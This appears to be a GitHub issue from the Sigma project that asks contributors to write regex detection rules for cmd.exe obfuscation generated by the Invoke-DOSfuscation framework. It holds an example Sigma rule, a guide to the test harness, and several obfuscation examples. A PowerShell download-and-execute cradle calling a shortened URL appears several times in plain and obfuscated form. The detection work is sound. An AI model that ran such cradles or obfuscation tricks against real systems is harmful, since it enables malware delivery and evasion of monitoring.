sigma
sigma copied to clipboard
Invoke-DOSfuscation
Contents
- Summary
- Problem
- Solution
- Suggested Approach
- Case Sensitivity Issue
- Framework's Test Harness Module
- How to Use Test Harness Module
- How to Work with Tasks
Summary
- Tool: Invoke-DOSfuscation — cmd.exe command obfuscation framework
- Author: Daniel Bohannon (@danielhbohannon)
- Type: Offensive tool, threat simulation
- Materials:
- Presentation from Black Hat Asia 2018 Techniques FOR %F IN (-style) DO (S-level CMD Obfuscation) and the talk on Black Hat Asia 2018 on YouTube
- WHITE PAPER | DOSFUSCATION: EXPLORING THE DEPTHS OF CMD.EXE OBFUSCATION & DETECTION TECHNIQUES
- Requirements: Create one Pull Request per Sigma rule.
Problem
Sigma rules heavily relies on process execution (with command-line) events (Windows Event Log Security Event ID 4688 and Sysmon Event ID 1). At the same time, the presence of Sigma rules for cmd.exe command Obfuscation Indicators detection is quite limited.
There is only one Sigma rule that is focusing on cmd.exe commandline obfuscation detection — rules/windows/process_creation/win_susp_cli_escape.yml.
The most of the obfuscation methods, provided by Invoke-DOSfuscation framework are not covered at all.
Solution
You will need to use regular expression value modifier, provided by Sigma converter (sigmac). Here is an example of Sigma rule developed by Daniel Bohannon (@danielhbohannon) that utilizes a regular expression value modifier (|re
):
title: Invoke-Obfuscation Obfuscated IEX Invocation
id: 4bf943c6-5146-4273-98dd-e958fd1e3abf
description: "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014 https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-ObfuscatedStringCommand.ps1#L873-L888"
status: experimental
author: Daniel Bohannon (@Mandiant/@FireEye), oscd.community
date: 2019/11/08
tags:
- attack.defense_evasion
- attack.t1027
logsource:
category: process_creation
product: windows
detection:
selection:
- CommandLine|re: '\$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\['
- CommandLine|re: '\$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\['
- CommandLine|re: '\$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\['
- CommandLine|re: '\$env:ComSpec\[(\s*\d{1,3}\s*,){2}'
- CommandLine|re: '\*mdr\*\W\s*\)\.Name'
- CommandLine|re: '\$VerbosePreference\.ToString\('
- CommandLine|re: '\String\]\s*\$VerbosePreference'
condition: selection
falsepositives:
- Unknown
level: high
The Approach
The framework provides 3 main obfuscation options:
- BINARY - Obfuscated binary syntax for cmd.exe & powershell.exe
- ENCODING - Environment variable encoding
- PAYLOAD - Obfuscated payload via DOSfuscation
Let's go through them one by one.
BINARY NAMES OBFUSCATION
Environment Variable Substrings
Here is a PowerShell command, that we will use as an example:
cmd.exe /c “powershell.exe IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/L3g1t’)”
One of the ways to obfuscate it, is to substitute individual characters with substrings of existing environment variable values.
For example, executing the internal command set
displays all environment variable name and value pairs.
The ALLUSERSPROFILE
environment variable contains the character r
at the 4th and 7th indexes.
These single characters can be retrieved using cmd.exe
’s native substring functionality: %ALLUSERSPROFILE:~4,1%
or %ALLUSERSPROFILE:~7,1%
.
Substituting the character r
in PowerShell produces: Powe%ALLUSERSPROFILE:~4,1%Shell
.
Adding this obfuscation back into the malicious command sample results with:
cmd.exe /c “Powe%ALLUSERSPROFILE:~4,1%Shell.exe IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/L3g1t’)”
However, we will detect the command line arguments when the process executes because existing environment variables resolve to their underlying value when executed by cmd.exe
, even when substring syntax is used.
So this subtype of binary obfuscation is considered out of scope for this issue.
For Loop
It is possible to construct a binary name like cmd
or PowerShell
in memory that does not resolve on cmd.exe
’s command line upon execution, evading both static and dynamic detections focusing on the presence of these values. But in the last child Process Creation Windows Event Log Security Event ID 4688 existing environment variables resolve to their underlying value. E.g. if we'll use this example command:
cmd /c "FOR /F "delims=6M. tokens=2" %Z IN ('ftype^|findstr lMo')DO %Z IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')"
we'll see the following parent-child process creation chain in the Windows Event Log:
<Data Name="NewProcessId">0x990</Data>
<Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
<Data Name="CommandLine">cmd /c "FOR /F "delims=6M. tokens=2" %Z IN ('ftype^|findstr lMo')DO %Z IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')"</Data>
<Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
<Data Name="ProcessId">0x990</Data>
<Data Name="CommandLine">C:\Windows\system32\cmd.exe /c ftype|findstr lMo</Data>
<Data Name="NewProcessName">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="ProcessId">0x990</Data>
<Data Name="CommandLine">PowerShell IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')</Data>
BASIC PAYLOAD ENCODING
Substrings of existing environment variables can be used to encode entire batch file contents or select portions of commands. These payload encoding techniques only affect static detections because these encodings do not remain in the dynamic execution of external commands in the batch files, so they are considered out of scope for this Issue.
ADVANCED PAYLOAD OBFUSCATION
As Daniel Bohannon (@danielhbohannon) pointed out, there are numerous building blocks that must be combined to perform the advanced payload encoding techniques. Searching for these building blocks in process arguments, common persistence locations and in file repositories is a good first step in reducing the data set when building robust detections for DOSfuscation in general. We're going to use Sigma so we'll be looking for those building blocks in command-line events (WEL Security Event ID 4688 and Sysmon Event ID 1).
Some basic building block concepts for each of the advanced encoding techniques are outlined below, netstat -ano
is used as an example command:
-
Concatenation
- Numerous
set
commands + logical operators&
or&&
+call
command and multiple adjacent environment variables for concatenation reassembly
cmd /c “set com3= /ano&&set com2=stat&&set com1=net&& call set final=%com1%%com2%%com3%&&call %final%”
- Numerous
-
FORcoding
-
set
command + for loop syntax + variable substring syntax like!var:~%A,1!
+if
statement +callcommand
+ variable substring syntax like%var:~7%
,%var:~-12%
or!var:~%A,1!
cmd /V:ON /C "set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&&IF %A==1337 CALL %final:~-12%"
-
-
Reversal
- Similar to #2 (FORcoding) but can include the for loop’s
/L
argument + start/increment/end integers
cmd /V:ON /C “set reverse=ona/ tatsten&& FOR /L %A IN (11 -1 0) DO set final=!final!!reverse:~%A,1!&&IF %A==0 CALL %final:~-12%”
- Similar to #2 (FORcoding) but can include the for loop’s
-
FINcoding
- Numerous
set
commands + multiple string substitutions like%var:Z=t%
or!var:e=7!
or string removals like%var:@=%
cmd /V:ON /C “set command=neZsZ7Z /7no&& set sub2=!command:7=a!&&set sub1=!sub2:Z=t!&&CALL %sub1%”
- Numerous
The examples listed above are extremely basic and should be used only as a starting point for detection development.
Another example is CMD argument obfuscation. An obvious first choice would be anchoring these detections on process executions with arguments containing /C
, but there are numerous pitfalls to consider if using this approach:
- Whitespace is not required before or after the
/C
argument:cmd/Ccalc
- Caret characters can break up the argument:
cmd^/^C^calc
- Even if detection authors account for whitespace and caret obfuscation characters applied to the
/C
argument,cmd.exe
’s help menu states that “for compatibility reasons.../R
is the same as/C
.” Socmd/Ccalc
is the same ascmd/Rcalc
.
Another anchor character term in many of the payload encoding techniques is the /V:ON
argument for enabling delayed environment variable expansion. However, it is also a has a several pitfalls:
- Whitespace is not required before or after the
/V:ON
argument:cmd/V:ON/Ccalc
- Caret characters can break up the argument:
cmd^/^V^:^O^N^/Ccalc
-
/V:ON
can also be written as/V:O
,/V:
,/V
, and (barring some minor syntax exceptions and the/V:OFF
argument) any combination of characters after/V
including/VeryObfuscated
,/VivaLaVida
,/V_--_==
, etc. - It is also worth noting that in the context of
cmd.exe
’s arguments,\C
means nothing if appearing before/C
. An example intended to throw off visual inspection of command line arguments would becmd.exe \C echo %PATH%
<100’s of whitespace characters>/C netstat /ano
where everything before/C
is ignored by the interpreter.
Considering all this we developed a table with pre-generated CMD commands, obfuscated by the Invoke-DOSfuscation framework, to achieve our main goal to detect the obfuscation method looking for similar patterns in all of it obfuscation examples.
Case Sensitivity
We consider that we're able to apply all regexes as not case sensitive or that all events are lowercased in a log pipeline before indexing in SIEM/LM system.
Framework coverage
For fuzzing and deep exploration of the numerous tuning options for each obfuscation category, it is recommended that the individual functions be used directly outside of the Invoke-DOSfuscation function wrapper.
Framework's Test Harness Module
The author of the framework developed the Test Harness Module. All functions in this module are dedicated to the test harness functionality for Invoke-DOSfuscation and do not provide any additional obfuscation functionality. This test harness is meant to enable defenders to easily define and test regex-based detection ideas for detection of obfuscated commands produced by Invoke-DOSfuscation. In addition, the harness module returns PSCustomObjects containing all user-defined detection information to help identify obfuscated payloads that were undetected or only had 1-2 detection matches.
How To Use Test Harness Module
- Install Invoke-DOSfuscation.
- Open the
Invoke-DOSfuscationTestHarness.psm1
in a text editor of your choice.
2.1. Find this code block with the$regexDetectionTerms
array. The author already included a couple of sample detection rules in the$regexDetectionTerms
array:
Name = 'UnobfuscatedForLoop' ; Expression = 'FOR\s+\/[A-Z]\s+\%[A-Z]\s+IN.*DO\s'
Name = 'MultipleVarSubstring' ; Expression = '\%.{0,25}:~.{0,25}\%.*\%.{0,25}:~.{0,25}\%'
- Import the module:
Import-Module .\Invoke-DOSfuscation.psd1
- Check what we can detect with regexes, provided by the author of the project, execuitng the following command:
Invoke-DosTestHarness
this command generates (with default argument settings) over 1000 randomly-obfuscated commands from a list of test commands for both payload integrity and detection purposes. Each test harness iteration randomizes all available function arguments and calls the four obfuscation functions directly instead of using the more standardized -ObfuscationLevel values (1-3) that the Invoke-DOSfuscation menu-driven function uses by default. This produces a significantly wider range of obfuscation output against which one can build more thorough detections. Each obfuscated command is then checked against the second function:
Get-DosDetectionMatch
this function checks an input command (obfuscated string) against all detection regex values stored in the $regexDetectionTerms
array. This is automatically called by Invoke-DosTestHarness
but can be called in a stand-alone fashion as well.
- You will see the results at the end in a table like this one:
also two files will be generated in the framework's folder (framework automatically detects the correct path):
-
FAILED_COMMANDS.txt
- contains failed commands; -
UNDETECTED_COMMANDS.txt
- contains undetected commands.
How To Work with Tasks
- These are the Tasks for this Issue:
Task # | Obfuscation function name | Examples/Samples generated by Daniel Bohannon |
---|---|---|
1 | Out-DosConcatenatedCommand | Examples |
2 | Out-DosReversedCommand | Examples |
3 | Out-DosFORcodedCommand | Examples |
4 | Out-DosFINcodedCommand | Examples |
- Import the module:
Import-Module .\Invoke-DOSfuscation.psd1
- Run the
Invoke-DosTestHarness
using the-Functions
argument to specify which obfuscation function you chose. E.g. if you chose the Task #1 run the following command:
Invoke-DosTestHarness -Functions @('Out-DosConcatenatedCommand')
check the UNDETECTED_COMMANDS.txt
.
-
Develop your regexes and add them in the
$regexDetectionTerms
array in this code block like that: -
Reimport the Module:
Import-Module .\Invoke-DOSfuscation.psd1 -Force
rerun the Invoke-DosTestHarness
, check the UNDETECTED_COMMANDS.txt
again and repeat the whole process until all of the obfuscation function's examples are covered and there is no more UNDETECTED_COMMANDS.txt
, like this for example: